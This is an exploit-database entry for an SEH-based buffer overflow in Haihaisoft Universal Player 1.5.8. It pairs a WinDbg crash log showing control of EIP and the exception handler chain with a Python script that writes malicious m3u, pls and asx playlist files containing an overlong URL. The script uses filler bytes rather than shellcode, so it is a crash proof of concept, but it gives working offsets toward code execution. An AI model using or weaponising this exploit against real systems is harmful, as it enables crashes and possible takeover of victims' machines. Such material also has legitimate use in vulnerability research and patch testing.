Exploit for windows platform in category dos / poc
#-----------------------------------------------------------------------------#
# Exploit Title: Haihaisoft Universal Player 1.5.8 - Buffer Overflow (SEH) #
# Date: Mar 25 2014 #
# Exploit Author: Gabor Seljan #
# Software Link: http://www.haihaisoft.com/hup.aspx #
# Version: 1.5.8.0 #
# Tested on: Windows XP SP3 #
#-----------------------------------------------------------------------------#
# (6ec.57c): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=44444444 ecx=0000000f edx=00000000 esi=04bae7d0 edi=44444448
# eip=0069537f esp=04cb7b18 ebp=04cb7b58 iopl=0 nv up ei pl nz na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
# *** ERROR: Module load completed but symbols could not be loaded for mplayerc.exe
# mplayerc+0x29537f:
# 0069537f f3ab rep stos dword ptr es:[edi]
# 0:005> g
# (6ec.57c): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000000 ecx=43434343 edx=7c9032bc esi=00000000 edi=00000000
# eip=43434343 esp=04cb7748 ebp=04cb7768 iopl=0 nv up ei pl zr na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
# 43434343 ?? ???
# 0:005> !exchain
# 04cb775c: ntdll!RtlConvertUlongToLargeInteger+7e (7c9032bc)
# 04cb7b4c: mplayerc+2e2e78 (006e2e78)
# 04cb8b80: 43434343
# Invalid exception stack at 42424242
#!/usr/bin/python
junk1 = "\x80" * 50;
offset = "\x41" * 1591;
nSEH = "\x42" * 4;
SEH = "\x43" * 4;
junk2 = "\x44" * 5000;
evil = "http://{junk1}{offset}{nSEH}{SEH}{junk2}".format(**locals())
for e in ['m3u', 'pls', 'asx']:
if e is 'm3u':
poc = evil
elif e is 'pls':
poc = "[playlist]\nFile1={}".format(evil)
else:
poc = "<asx version=\"3.0\"><entry><ref href=\"{}\"/></entry></asx>".format(evil)
try:
print("[*] Creating poc.%s file..." % e)
f = open('poc.%s' % e, 'w')
f.write(poc)
f.close()
print("[*] %s file successfully created!" % f.name)
except:
print("[!] Error while creating exploit file!")
# 0day.today [2018-03-14] #